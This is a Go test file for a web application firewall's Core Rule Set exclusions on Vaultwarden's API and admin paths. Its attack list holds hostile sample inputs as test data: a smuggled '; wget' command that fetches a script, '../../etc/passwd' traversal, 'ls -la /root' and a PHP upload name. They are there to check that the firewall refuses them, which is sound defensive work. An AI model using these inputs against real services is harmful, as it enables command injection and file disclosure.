check / check (push) Failing after 7m12s
The tests that check the apps' recorded requests move to internal/coreruleset/recorded_test.go, behind the recorded build tag. The test phase runs them in a second go test, without -race. The Gitea and WordPress tests are split in two. Their recorded-request loops become TestOrdinaryGiteaRequestsPass and TestOrdinaryWordPressRequestsPass; their attack checks stay in the race pass as TestGiteaAttacksAreRefused and TestWordPressAttacksAreRefused. Model: opus-5-5
317 lines
11 KiB
Go
317 lines
11 KiB
Go
package coreruleset_test
|
|
|
|
import (
|
|
"encoding/json"
|
|
"net/http"
|
|
"net/url"
|
|
"slices"
|
|
"strings"
|
|
"testing"
|
|
)
|
|
|
|
// vaultwardenThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
|
|
const vaultwardenThreshold = 5
|
|
|
|
// Paths of Vaultwarden's API and admin page.
|
|
const (
|
|
vaultwardenOrganization = "/api/organizations/eded96f5-92c5-43ce-ab72-533d0e962b9b"
|
|
vaultwardenCipher = "/api/ciphers/f81eb6e1-8210-4e15-8b9b-6ff70f7edc7d"
|
|
vaultwardenSignUp = "/identity/accounts/register/send-verification-email"
|
|
vaultwardenFinishSignUp = "/identity/accounts/register/finish"
|
|
vaultwardenPassword = "/api/accounts/password"
|
|
vaultwardenProfile = "/api/accounts/profile"
|
|
vaultwardenSettings = "/admin/config"
|
|
vaultwardenSecurityKey = "/api/two-factor/webauthn"
|
|
)
|
|
|
|
// vaultwardenEmail is a JSON body that sends an address in email.
|
|
const vaultwardenEmail = `{"email":"VALUE"}`
|
|
|
|
// vaultwardenField is a field Vaultwarden receives in plain text: the
|
|
// request that sends it, and its body, with VALUE where the field's value
|
|
// goes.
|
|
type vaultwardenField struct {
|
|
method, target, contentType, body string
|
|
}
|
|
|
|
// with returns f's body holding value, escaped as f's kind of body escapes
|
|
// it.
|
|
func (f vaultwardenField) with(t *testing.T, value string) string {
|
|
t.Helper()
|
|
|
|
escaped := url.QueryEscape(value)
|
|
|
|
if f.contentType == jsonBody {
|
|
quoted, err := json.Marshal(value)
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
|
|
escaped = strings.Trim(string(quoted), `"`)
|
|
}
|
|
|
|
return strings.ReplaceAll(f.body, "VALUE", escaped)
|
|
}
|
|
|
|
// vaultwardenNameFields hold every field that skips 930120, 932120, 932250
|
|
// and 932260: the names and the password hints.
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var vaultwardenNameFields = []vaultwardenField{
|
|
{
|
|
http.MethodPost, vaultwardenSignUp, jsonBody,
|
|
`{"email":"alice@example.com","name":"VALUE"}`,
|
|
},
|
|
{
|
|
http.MethodPost, vaultwardenFinishSignUp, jsonBody,
|
|
`{"email":"alice@example.com","masterPasswordHint":"VALUE"}`,
|
|
},
|
|
{http.MethodPut, vaultwardenProfile, jsonBody, `{"name":"VALUE","culture":"en-US"}`},
|
|
{http.MethodPost, vaultwardenPassword, jsonBody, `{"masterPasswordHint":"VALUE"}`},
|
|
{
|
|
http.MethodPost, "/api/organizations", jsonBody,
|
|
`{"name":"VALUE","billingEmail":"billing@example.com"}`,
|
|
},
|
|
{http.MethodPut, vaultwardenOrganization, jsonBody, `{"name":"VALUE"}`},
|
|
{http.MethodPost, vaultwardenOrganization + "/groups", jsonBody, `{"name":"VALUE"}`},
|
|
{http.MethodPost, vaultwardenSettings, jsonBody, `{"invitation_org_name":"VALUE"}`},
|
|
{http.MethodPost, vaultwardenSettings, jsonBody, `{"smtp_from_name":"VALUE"}`},
|
|
{http.MethodPost, vaultwardenSecurityKey, jsonBody, `{"id":1,"name":"VALUE"}`},
|
|
{http.MethodPut, vaultwardenSecurityKey, jsonBody, `{"id":1,"name":"VALUE"}`},
|
|
}
|
|
|
|
// vaultwardenAddressFields hold every field of a body that skips 930120,
|
|
// 932120 and 932260: the email addresses.
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var vaultwardenAddressFields = []vaultwardenField{
|
|
{
|
|
http.MethodPost, "/identity/connect/token", formData,
|
|
"grant_type=password&username=VALUE&password=example&scope=api+offline_access",
|
|
},
|
|
{http.MethodPost, "/identity/accounts/prelogin/password", jsonBody, vaultwardenEmail},
|
|
{http.MethodPost, vaultwardenSignUp, jsonBody, `{"email":"VALUE","name":"Alice"}`},
|
|
{http.MethodPost, vaultwardenFinishSignUp, jsonBody, vaultwardenEmail},
|
|
{
|
|
http.MethodPost, vaultwardenFinishSignUp, jsonBody,
|
|
`{"masterPasswordAuthentication":{"salt":"VALUE"}}`,
|
|
},
|
|
{
|
|
http.MethodPost, vaultwardenFinishSignUp, jsonBody,
|
|
`{"masterPasswordUnlock":{"salt":"VALUE"}}`,
|
|
},
|
|
{
|
|
http.MethodPost, vaultwardenPassword, jsonBody,
|
|
`{"authenticationData":{"salt":"VALUE"}}`,
|
|
},
|
|
{http.MethodPost, vaultwardenPassword, jsonBody, `{"unlockData":{"salt":"VALUE"}}`},
|
|
{
|
|
http.MethodPost, "/api/accounts/key-management/rotate-user-account-keys", jsonBody,
|
|
`{"accountUnlockData":{"masterPasswordUnlockData":{"email":"VALUE"}}}`,
|
|
},
|
|
{http.MethodPost, "/api/accounts/password-hint", jsonBody, vaultwardenEmail},
|
|
{http.MethodPost, "/api/accounts/email-token", jsonBody, `{"newEmail":"VALUE"}`},
|
|
{
|
|
http.MethodPost, "/api/emergency-access/invite", jsonBody,
|
|
`{"email":"VALUE","type":0}`,
|
|
},
|
|
{http.MethodPut, vaultwardenOrganization, jsonBody, `{"billingEmail":"VALUE"}`},
|
|
{
|
|
http.MethodPost, vaultwardenOrganization + "/users/invite", jsonBody,
|
|
`{"emails":["alice@example.com","VALUE"],"type":2}`,
|
|
},
|
|
{http.MethodPost, vaultwardenSettings, jsonBody, `{"smtp_from":"VALUE"}`},
|
|
{http.MethodPost, vaultwardenSettings, jsonBody, `{"smtp_username":"VALUE"}`},
|
|
{http.MethodPost, vaultwardenSettings, jsonBody, `{"org_creation_users":"VALUE"}`},
|
|
{http.MethodPost, "/admin/invite", jsonBody, vaultwardenEmail},
|
|
{http.MethodPost, "/admin/test/smtp", jsonBody, vaultwardenEmail},
|
|
{http.MethodPost, "/api/two-factor/send-email-login", jsonBody, vaultwardenEmail},
|
|
{http.MethodPost, "/api/two-factor/send-email", jsonBody, vaultwardenEmail},
|
|
{
|
|
http.MethodPut, "/api/two-factor/email", jsonBody,
|
|
`{"email":"VALUE","token":"123456"}`,
|
|
},
|
|
{http.MethodPost, "/api/auth-requests", jsonBody, `{"email":"VALUE","type":0}`},
|
|
}
|
|
|
|
// vaultwardenBreachReport is the data breach report, which sends an address
|
|
// in the query, ending in "=".
|
|
const vaultwardenBreachReport = "/api/hibp/breach?username="
|
|
|
|
// vaultwardenAddresses are the addresses 930120, 932120 and 932260 refused.
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var vaultwardenAddresses = []string{
|
|
"jane.profile@example.com",
|
|
"python3.dev@example.com",
|
|
"powershell@example.com",
|
|
}
|
|
|
|
// wantVaultwardenField checks that the Core Rule Set, reading bodies,
|
|
// refuses f holding value, or lets it through.
|
|
func wantVaultwardenField(
|
|
t *testing.T, f vaultwardenField, value string, refused bool,
|
|
) {
|
|
t.Helper()
|
|
|
|
r := request{f.method, f.target, []string{f.contentType}}
|
|
body := f.with(t, value)
|
|
|
|
got, _ := inspectBody(t, readingBodies(t), r, body)
|
|
if refused && got.Score < vaultwardenThreshold {
|
|
t.Errorf("%s %s %s let through: %+v", f.method, f.target, body, got)
|
|
}
|
|
|
|
if !refused && got.Score >= vaultwardenThreshold {
|
|
t.Errorf("%s %s %s refused: %+v", f.method, f.target, body, got)
|
|
}
|
|
}
|
|
|
|
func TestVaultwardenHardValuesPassInTheExcludedFields(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
for _, encoded := range hardValues {
|
|
value, _ := url.QueryUnescape(encoded)
|
|
|
|
for _, f := range vaultwardenNameFields {
|
|
wantVaultwardenField(t, f, value, false)
|
|
}
|
|
}
|
|
|
|
for _, value := range vaultwardenAddresses {
|
|
for _, f := range vaultwardenAddressFields {
|
|
wantVaultwardenField(t, f, value, false)
|
|
}
|
|
|
|
target := vaultwardenBreachReport + url.QueryEscape(value)
|
|
if got := inspect(t, atDefaults(t), get(target)); got.Score >= vaultwardenThreshold {
|
|
t.Errorf("%s refused: %+v", target, got)
|
|
}
|
|
}
|
|
}
|
|
|
|
// vaultwardenAttacks are an SQL injection, a script injection, a shell
|
|
// command and a path traversal.
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var vaultwardenAttacks = []string{
|
|
injection,
|
|
scriptTag,
|
|
"; wget http://example.com/x.sh",
|
|
"../../etc/passwd",
|
|
}
|
|
|
|
func TestVaultwardenAttacksAreRefusedInTheExcludedFields(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
for _, attack := range vaultwardenAttacks {
|
|
for _, f := range slices.Concat(vaultwardenNameFields, vaultwardenAddressFields) {
|
|
wantVaultwardenField(t, f, attack, true)
|
|
}
|
|
|
|
target := vaultwardenBreachReport + url.QueryEscape(attack)
|
|
if got := inspect(t, atDefaults(t), get(target)); got.Score < vaultwardenThreshold {
|
|
t.Errorf("%s let through: %+v", target, got)
|
|
}
|
|
}
|
|
|
|
// An address keeps 932250, which refuses a listing of files.
|
|
for _, f := range vaultwardenAddressFields {
|
|
wantVaultwardenField(t, f, "ls -la /root", true)
|
|
}
|
|
}
|
|
|
|
func TestVaultwardenExclusionsAreNarrow(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := readingBodies(t)
|
|
|
|
// A name keeps the rules on vault items and folders, whose names are
|
|
// encrypted, on two-factor paths other than security keys', off
|
|
// Vaultwarden's paths, and when the query has a field of the same name.
|
|
for _, target := range []string{
|
|
"/api/ciphers",
|
|
"/api/folders",
|
|
"/x" + vaultwardenProfile,
|
|
"/identity/other",
|
|
"/api/two-factor/authenticator",
|
|
vaultwardenProfile + "?json.name=python3",
|
|
} {
|
|
r := request{http.MethodPost, target, []string{jsonBody}}
|
|
body := `{"name":"python3"}`
|
|
|
|
if got, _ := inspectBody(t, crs, r, body); got.Score < vaultwardenThreshold {
|
|
t.Errorf("POST %s %s let through: %+v", target, body, got)
|
|
}
|
|
}
|
|
|
|
for _, refused := range []struct{ target, body string }{
|
|
{"/admin/other", `{"invitation_org_name":"python3"}`},
|
|
{vaultwardenProfile, `{"culture":"python3"}`},
|
|
{"/api/accounts/password-hint?json.email=python3", `{"email":"python3"}`},
|
|
} {
|
|
r := request{http.MethodPost, refused.target, []string{jsonBody}}
|
|
|
|
got, _ := inspectBody(t, crs, r, refused.body)
|
|
if got.Score < vaultwardenThreshold {
|
|
t.Errorf("POST %s %s let through: %+v", refused.target, refused.body, got)
|
|
}
|
|
}
|
|
|
|
r := request{http.MethodPost, "/identity/other", []string{formData}}
|
|
|
|
got, _ := inspectBody(t, crs, r, "username=python3")
|
|
if got.Score < vaultwardenThreshold {
|
|
t.Errorf("POST %s username=python3 let through: %+v", r.target, got)
|
|
}
|
|
|
|
target := "/api/hibp/other?username=python3"
|
|
if got := inspect(t, atDefaults(t), get(target)); got.Score < vaultwardenThreshold {
|
|
t.Errorf("%s let through: %+v", target, got)
|
|
}
|
|
}
|
|
|
|
// vaultwardenUpload returns a multipart body that uploads a file named name.
|
|
func vaultwardenUpload(name string) string {
|
|
return "--b\r\nContent-Disposition: form-data; name=\"data\"; filename=\"" + name +
|
|
"\"\r\nContent-Type: application/octet-stream\r\n\r\nx\r\n" + end
|
|
}
|
|
|
|
func TestVaultwardenEncryptedFileNamesPassOnlyOnUploads(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := readingBodies(t)
|
|
encrypted := vaultwardenUpload("2.4Hw+ulOz7BLrP+NSaLKhGw==|9nlpuuYHog6rpJ=|XLsf=")
|
|
|
|
for _, target := range []string{
|
|
vaultwardenCipher + "/attachment/ec4c8ed74f6d3c56443a",
|
|
vaultwardenCipher + "/attachment",
|
|
vaultwardenCipher + "/attachment-admin",
|
|
vaultwardenCipher + "/attachment/ec4c8ed74f6d3c56443a/share",
|
|
"/api/sends/cd9f9460-4654-4101-8c4c-14f06f1e69ae/file/5a087a52eaa5796",
|
|
} {
|
|
r := request{http.MethodPost, target, []string{multipart}}
|
|
|
|
if got, _ := inspectBody(t, crs, r, encrypted); got.Score >= vaultwardenThreshold {
|
|
t.Errorf("POST %s refused: %+v", target, got)
|
|
}
|
|
|
|
// The names of uploaded files keep the other rules: a path
|
|
// traversal and a PHP script are still refused.
|
|
for _, name := range []string{"../../etc/passwd", "x.php"} {
|
|
got, _ := inspectBody(t, crs, r, vaultwardenUpload(name))
|
|
if got.Score < vaultwardenThreshold {
|
|
t.Errorf("POST %s %s let through: %+v", target, name, got)
|
|
}
|
|
}
|
|
}
|
|
|
|
for _, target := range []string{"/upload", vaultwardenCipher + "/other"} {
|
|
r := request{http.MethodPost, target, []string{multipart}}
|
|
|
|
if got, _ := inspectBody(t, crs, r, encrypted); got.Score < vaultwardenThreshold {
|
|
t.Errorf("POST %s let through: %+v", target, got)
|
|
}
|
|
}
|
|
}
|